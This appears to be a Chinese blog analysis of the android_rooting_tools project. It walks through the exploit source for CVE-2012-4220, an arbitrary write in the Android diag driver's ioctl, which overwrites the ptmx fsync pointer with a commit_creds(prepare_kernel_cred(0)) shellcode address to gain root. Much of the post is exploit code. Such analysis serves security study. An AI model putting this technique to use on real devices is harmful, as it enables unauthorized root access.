zoukankan      html  css  js  c++  java
  • android_rooting_tools 项目介绍(CVE-2012-4220)

    android_rooting_tools是GITHUB上的一个Android内核漏洞提权项目,包含多套内核漏洞的exploit代码:

    EXPLOITCVE简单描述
    libdiagexploit CVE-2012-4220 任意地址写有限任意值
    libfb_mem_exploit CVE-2013-2596 整数溢出导致remap_pfn_range校验绕过
    libfj_hdcp_exploit 未知
    libfutex_exploit CVE-2014-3153 UAF, TowelRoot
    libget_user_exploit CVE-2013-6282 get_user边界未校验致任意地址写
    libmsm_acdb_exploit CVE-2013-2597 栈溢出
    libmsm_cameraconfig_exploit CVE-2013-2595
    libperf_event_exploit CVE-2013-2094
    libpingpong_exploit CVE-2015-3636 UAF, Pingpong Root
    libput_user_exploit CVE-2013-6282 put_user边界未校验致任意地址写

    下面通过 libdiagexploit 这份漏洞利用代码,分析一下项目源码。

    libdiagexploit利用的CVE-2012-4220,这是一个驱动设备ioctl接口的任意地址写有限的任意值漏洞。

    漏洞代码如下:

      8  long diagchar_ioctl(struct file *filp,
      9          unsigned int iocmd, unsigned long ioarg)
    /* ... */  
      18   if (iocmd == DIAG_IOCTL_COMMAND_REG) {
    /* ... */
     72   } else if (iocmd == DIAG_IOCTL_GET_DELAYED_RSP_ID) {
     73     struct diagpkt_delay_params *delay_params =
     74           (struct diagpkt_delay_params *) ioarg;
     75 
     76     if ((delay_params->rsp_ptr) &&
     77      (delay_params->size == sizeof(delayed_rsp_id)) &&
     78          (delay_params->num_bytes_ptr)) {
     79       *((uint16_t *)delay_params->rsp_ptr) =
     80         DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id);
     81       *(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);
     82       success = 0;
     83     }
     84   } else if (iocmd == DIAG_IOCTL_DCI_REG) {
     /* ... */
    

    在处理DIAG_IOCTL_GET_DELAYED_RSP_ID命令时,ioarg由用户态的ioctl调用传入,其值完全受用户控制,上述漏洞代码在进行delay_params->rsp_ptr和delay_params->num_bytes_ptr赋值时,未校验其地址合法性:

    *((uint16_t *)delay_params->rsp_ptr) =
              DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id);
    *(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);
    
    #define DIAGPKT_MAX_DELAYED_RSP 0xFFFF
    
    #define DIAGPKT_NEXT_DELAYED_RSP_ID(x)         
    ((x < DIAGPKT_MAX_DELAYED_RSP) ? x++ : DIAGPKT_MAX_DELAYED_RSP)
    

    DIAGPKT_NEXT_DELAYED_RSP_ID宏使用全局变量delayed_rsp_id值每次加1,其范围被限制在2-0xFFFF之间,因此通过多次调用此接口,可以达成任意地址写有限的任意值。

    下面分析android_rooting_tools如何利用这个漏洞提权。

    android_rooting_tools的入口函数在main.c:

    int
    main(int argc, char **argv)
    {
    /* ... */
      device_detected();
    
      if (!setup_variables()) {
        printf("Failed to setup variables.
    ");
        exit(EXIT_FAILURE);
      }
    
      run_exploit();
    
      if (getuid() != 0) {
        printf("Failed to obtain root privilege.
    ");
        exit(EXIT_FAILURE);
      }
    /* ... */
    }
    

    首先通过device_detected()函数获得设备信息,android_rooting_tools通过sqlite数据库存放了一些已知设备的符号地址等硬编码信息,如果匹配到的话,就不需要计算直接赋值。

    这是比较有用的,比如某些设备打开了kptr_strict,读取不到符号地址,通过查询数据库也可以达到相同目的。

    setup_variables()来进行几个全局变量初始化工作,包括:

    1. prepare_kernel_cred() 函数地址
    2. commit_creds() 函数地址
    3. ptmx_fops 结构地址

    为了尽可能保证取到这3个符号地址,android-rooting-tools使用了3种方式

    1. 读取数据库(device_get_symbol_address函数)
    2. 通过/proc/kallsyms读取(kallsyms_get_symbol_address函数)
    3. 通过内存暴力搜索(run_with_mmap或run_with_memcpy函数)

    根据初始化信息,可以看出android-rooting-tools使用的是一个非常常用的提权套路:

    1. 提权的shellcode在用户地址空间,主要代码是 commit_creds(prepare_kernel_cred(0));
    2. 在ptmx_fops结构中,通过+0x38偏移,找到fsync()函数地址
    3. 通过任意直址写漏洞,将fsync()地址替换成shellcode 地址
    4. 用户态调用fsync(fd),触发shellcode执行,完成提权

    继续看,run_exploit()是完成提权的主要代码。然后通过getuid()判断提权是否成功。

    static bool
    run_exploit(void)
    {
    /* ... */
      return attempt_exploit(ptmx_fops_fsync_address,
                    (unsigned long int)&obtain_root_privilege, 
                    0,
                    run_obtain_root_privilege, 
                    NULL);
    }
    

    run_exploit主要调用了attempt_exploit函数,其中ptmx_fops_fsync_address是fsync符号地址,可以看到它是从ptmx_fops+0x38处取的:

    ptmx_fops_fsync_address = (unsigned long int)ptmx_fops + 0x38;
    

    参数obtain_root_privilege传入的是shellcode的函数指针,run_obtain_root_privilege是一个回调函数,用于在准备条件完成后,进行提权操作:

    static bool
    run_obtain_root_privilege(void *user_data)
    {
    /* ... */
      obtain_root_privilege_func = obtain_root_privilege_by_commit_creds;
    
      fd = open(PTMX_DEVICE, O_WRONLY);
      ret = fsync(fd);
    
      if (getuid() != 0) {
        printf("commit_creds(): failed. Try to hack task->cred.
    ");
    
        obtain_root_privilege_func = obtain_root_privilege_by_modify_task_cred;
        ret = fsync(fd);
      }
    /* ... */
    }
    

    可以看到,代码首先使用commit_creds进行提权,当提权失败时,使用了另一种直接修改task_cred结构的方式提权,这里先暂不介绍。

    attempt_exploit中使用了多种漏洞利用代码进行提权,这些漏洞类型包含在上面介绍的列表中:

    bool
    attempt_exploit(unsigned long int address, //fsync地址
                    unsigned long int write_value,  //shellcode地址
                    unsigned long int restore_value,
                    exploit_callback_t callback_func,
                    void *callback_param)
    {
      callback_info_t info;
    /* 设置回调函数及参数 */
      info.func = callback_func;
      info.param = callback_param;
      info.result = false;
    
      // Attempt exploits in most stable order
    /* 提权操作 */
      printf("Attempt acdb exploit...
    ");
    /* ... */
      if (attempt_diag_exploit(address, write_value, &info)) {
        return info.result;
      }
    }
    

    代码只保留attempt_diag_exploit,也就是针对CVE-2012-4220的漏洞利用,其中info中包含的是漏洞利用是否成功的状态,和回调函数地址。

    static bool
    attempt_diag_exploit(unsigned long int address, //fsync地址
                         unsigned long int write_value, //shellcode地址
                         callback_info_t *info)
    {
      struct diag_values injection_data;
    
      if (write_value > (uint16_t)-1) {
        return false;
      }
    
      injection_data.address = address;
      injection_data.value = (uint16_t)write_value;
    
      return diag_run_exploit(&injection_data, 1, &run_callback, info);
    }
    

    diag_run_exploit在libdiagexploit目录下的diag.c文件实现:

    bool
    diag_run_exploit(struct diag_values *data, int data_length,
                     bool(*exploit_callback)(void* user_data), void *user_data)
    {
      fd = open("/dev/diag", O_RDWR);
      success = diag_inject_with_fd(data, data_length, fd);
    
      if (success) {
        success = exploit_callback(user_data);
        restore_values(data, data_length, fd);
      }
    /* ... */
    }
    

    主要有3个功能
    1. diag_inject_with_fd()修改fsync地址为shellcode地址
    2. 用户态调用fsync()触发提权
    3. 调用restore_values()恢复fsync原始值

    因此,核心代码在diag_inject_with_fd中:

    bool
    diag_inject_with_fd(struct diag_values *data, int data_length, int fd)
    {
    /* ... */
    //data_length = 1
      for (i = 0; i < data_length; i++) {
        if (!inject_value(&data[i], fd, delayed_rsp_id_address)) {
          return false;
        }
      }
    /* ... */
    }
    

    diag_inject_with_fd()函数中,先获取delay_rsp_id变量的地址,并调用inject_value()进行实际的任意地址修改,这里注意for循环中,传入的data_length为1:

    static bool
    inject_value(struct diag_values *data,
                 int fd, void *delayed_rsp_id_address)
    {
    /* 获取当前delayed_rsp_id值,用于还原 */
      ret = get_current_delayed_rsp_id(fd);
    /* ... */
      data->original_value = delayed_rsp_id_value;
    /* 如果要写入的大于delayed_rsp_id,则重置为2(2-0xFFFF)
        因为DIAGPKT_NEXT_DELAYED_RSP_ID宏会递增这个值,
        注意我们只能控制16位即2字节的数据,如果需要写一个32位地址需写2次
     */
      if (delayed_rsp_id_value > data->value &&
        reset_delayed_rsp_id(fd, delayed_rsp_id_address) < 0) {
        return false;
      }
    /* 每次调用使delayed_rsp_id值加1,这里计算需要调用的次数 */
      loop_count = (data->value - delayed_rsp_id_value) & 0xffff;
    
      for (i = 0; i < loop_count; i++) {
        int unused;
        if (send_delay_params(fd, (void *)data->address, &unused) < 0) {
          return false;
        }
      }
      return true;
    }
    

    最终for循环的最后一次调用 send_delay_params(fd, (void *)data->address, &unused) 会将 data->address 赋值为 delayed_rsp_id 的值,也就是有限范围内(2-0xFFFF)我们指定的一个任意值。

    由上面传递参数可以知道,data->address即fsync地址,最终的delayed_rsp_id是data->value值,也即shellcode地址。

    delayed_rsp_id的值通过DIAG_IOCTL_GET_DELAYED_RSP_ID命令获取,其它reset等操作类似:

      struct diagpkt_delay_params params;
    
      params.rsp_ptr = target_address;
      params.size = 2;
      params.num_bytes_ptr = stored_for_written_bytes;
    
      ret = ioctl(fd, DIAG_IOCTL_GET_DELAYED_RSP_ID, &params);
    

    到目前为止,我们已经将内核fsync函数地址改为了用户态shellcode的地址,只要在用户态调用fsync()函数,系统将会通过中断调用到内核态fsync函数,执行shellcode实现提权。

  • 相关阅读:
    C++实现合并两个已经排序的链表
    C++实现查找链表中环的入口节点
    IOU
    梯度下降法
    ubuntu下opencv CMakeLists.txt编写
    vs2015运行时提示未加载vcruntime140.adm64.pb
    opencv图像加文字与运行时间
    github下载总是失败解决
    vs2015配置cv文件,不用每次新建项目在配置
    Microsoft visual studio 2015已停止工作最全解决办法
  • 原文地址:https://www.cnblogs.com/gm-201705/p/9864002.html
Copyright © 2011-2022 走看看